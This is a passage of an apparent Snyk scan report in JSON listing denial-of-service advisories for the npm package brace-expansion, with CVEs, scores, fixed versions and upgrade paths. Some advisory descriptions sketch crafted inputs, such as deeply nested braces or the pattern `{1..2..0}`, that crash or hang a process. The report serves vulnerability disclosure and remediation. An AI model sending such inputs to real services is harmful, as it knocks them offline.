"@npmcli/map-workspaces@4.0.2",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/config@10.14.0",
"@npmcli/map-workspaces@5.0.3",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@npmcli/config@9.0.0",
"@npmcli/map-workspaces@4.0.2",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/config@10.14.0",
"@npmcli/map-workspaces@5.0.3",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@npmcli/config@9.0.0",
"@npmcli/map-workspaces@4.0.2",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/config@10.14.0",
"@npmcli/map-workspaces@5.0.3",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"pacote@19.0.2",
"@npmcli/run-script@9.1.0",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"pacote@19.0.2",
"@npmcli/run-script@9.1.0",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"pacote@19.0.2",
"@npmcli/run-script@9.1.0",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub 